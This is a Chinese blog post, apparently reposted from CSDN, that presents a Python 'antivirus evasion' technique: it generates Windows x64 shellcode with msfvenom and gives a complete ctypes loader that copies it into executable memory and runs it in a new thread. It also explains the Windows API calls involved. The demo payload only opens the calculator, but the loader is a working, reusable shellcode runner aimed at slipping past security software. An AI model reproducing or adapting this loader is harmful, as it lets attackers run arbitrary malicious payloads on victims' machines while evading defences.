python免杀技术shellcode的加载与执行
作者:p0inter 发布时间:2021-10-27 16:25:06
0x01 生成shellcode
首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
0x02 加载与执行shellcode的程序
程序为:
# -*- coding:utf-8 -*-
import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys
PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread
shellcode = bytearray(
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
b"\x78\x65\x00"
)
def run1():
VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void
p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
if __name__ == "__main__":
run1()
0x03 程序解释
导入模块,并且程序分配内存还有可进行读写操作。
import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys
PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
区域可执行代码,可读可写
PAGE_EXECUTE_READWRITE = 0x00000040
分配内存
MEM_COMMIT = 0x3000
给予进程所有权限
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
调用windows api
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread
将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理
shellcode = bytearray(
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
b"\x78\x65\x00"
)
创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:
def run1():
VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void
p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:
LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};
RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);
参数:
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)
参数意义
lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。
dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。
lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制
lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。
dwCreationFlags :线程标志,可取值如下
(1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,
(2)0:表示创建后立即激活。
(3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。
lpThreadId:保存新线程的id。
WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
声明:
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。
运行程序可以成功弹出计算器。
来源:https://blog.csdn.net/qq_41683305/article/details/117160894
猜你喜欢
- 最近对list设计感兴趣,今天说的是list视图方式的设计。感觉有些细节非常有意思,拿出来跟大家讨论。首先我们来看下windows下文件夹管
- 一、单因素分析线性拟合功能:线性拟合,单因素分析,对散点图进行线性拟合,并放大散点图的局部位置输入:某个xlsx文件,包含'患者密度
- 如何准确地获得一个整数?当然可以,Format就是做这个的“专家”:function NumbersOnlyNoDecimals(
- 前言动态生成表格是前端开发中非常重要的内容,常常是后端返回数据(大多是json类型),我们前端通过js循环来动态添加,所以这部分内容是十分重
- 目前已经有很多生成html的新闻系统,但是都是用的模板,本函数实现把asp页面产生的html代码保存成为一个html文件,这样就没有必要改动
- Oracle9i之前,中文是按照二进制编码进行排序的。在oracle9i中新增了按照拼音、部首、笔画排序功能。 1、
- 引言:闲来想到冒泡排序中的列表数据的排序,就想试试用随机数生成一个列表来排序试试,于是做了一下实验,本人实在是属于入门阶段,研究了一下终究还
- 对于每个类型拥有的值范围以及并且指定日期何时间值的有效格式的描述见7.3.6 日期和时间类型。 1、这里是一个使用日期函数的例子。
- 在日常的工作中,保护数据免受未授权用户的侵犯是系统管理员特别关心的问题。如果你目前用的是MySQL,就可以使用一些方便的功能来保护系统,来大
- 一、ASPJPEG文字水印对图片描边:程序代码: <% Set Jpeg = Se
- 废话就不多说了,直接上内容。<form action="/home/search" method="ge
- 前言读取站点资料数据对站点数据进行插值,插值到规则网格上绘制EOF第一模态和第二模态的空间分布图绘制PC序列关于插值,这里主要提供了两个插值
- 活在当下的程序员应该都听过“面向对象编程”一词,也经常有人问能不能用一句话解释下什么是“面向对象编程”,我们先来看看比较正式的说法。把一组数
- 本次爬取网站为opgg,网址为:” http://www.op.gg/champion/statistics”由网站界面可以看出,右侧有英雄
- 【OpenCV】⚠️高手勿入! 半小时学会基本操作 ⚠️ 对象测量概述OpenCV 是一个跨平台的计算机视觉库, 支持多语言, 功能强大.
- 一、创建一个进程要创建一个进程,最简单的方式是用一个目标函数实例化一个Process对象,然后与threading一样调用start()函数
- 第一步 : 从清华大学开源软件镜像站下载Anaconda:https://mirrors.tuna.tsinghua.edu.cn/anac
- 迭代数组NumPy中引入了 nditer 对象来提供一种对于数组元素的访问方式。一、单数组迭代1. 使用 nditer 访问数组的每个元素&
- 这篇文章主要介绍了Python统计时间内的并发数代码实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的
- 我们经常会在登录一个网站的时候被引导页挡住前进的脚步,这一点在上个世纪到本世纪初的网站中尤其明显,特别是在企业网站里,几乎每个企业网站都会有